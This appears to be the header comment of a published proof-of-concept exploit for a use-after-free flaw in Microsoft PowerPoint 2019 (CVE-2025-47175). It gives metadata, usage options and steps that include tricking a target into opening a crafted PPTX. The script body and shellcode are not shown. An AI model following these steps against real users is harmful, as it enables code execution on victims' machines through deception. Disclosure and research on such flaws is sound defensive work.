# Exploit Title: Microsoft PowerPoint 2019 - Remote Code Execution (RCE)
# Author: Mohammed Idrees Banyamer
# Instagram: @banyamer_security
# GitHub: https://github.com/mbanyamer
# Date: 2025-07-02
# Tested on: Microsoft PowerPoint 2019 / Office 365 (version before June 2025 Patch)
# CVE: CVE-2025-47175
# Type: Use-After-Free (UAF) Remote Code Execution (local user required)
# Platform: Windows (PowerPoint)
# Author Country: Jordan
# Attack Vector: Local (User must open crafted PPTX file)
# Description:
# This exploit leverages a Use-After-Free vulnerability in Microsoft PowerPoint
# allowing an attacker to execute arbitrary code by tricking a user into opening
# a specially crafted PPTX file. This PoC generates such a malicious PPTX file
# designed to trigger the UAF condition.
#
# Steps of exploitation:
# 1. Run this script to generate the malicious PPTX file.
# 2. Send or trick the target user to open this file in a vulnerable PowerPoint version.
# 3. Exploit triggers upon opening the file, leading to possible code execution.
#
# Note: This PoC creates a simplified PPTX file structure with crafted XML designed
# to trigger the vulnerability. For a full exploit, further memory manipulation and shellcode injection
# are required (not included here).
#
# Affected Versions:
# Microsoft PowerPoint versions prior to June 2025 patch (KB5002689)
#
# Usage:
# python3 exploit_cve2025_47175.py [options]
#
# Options:
#   -o, --output   Output PPTX filename (default: exploit_cve_2025_47175.pptx)
#   -i, --id       Shape ID (default: 1234)
#   -n, --name     Shape Name (default: MaliciousShape)
#   -t, --text     Trigger text inside the slide (default: explanation message)
#
# Example:
# python3 exploit_cve2025_47175.py -o evil.pptx -i 5678 -n "BadShape" -t "Triggering CVE-2025-47175 now!"
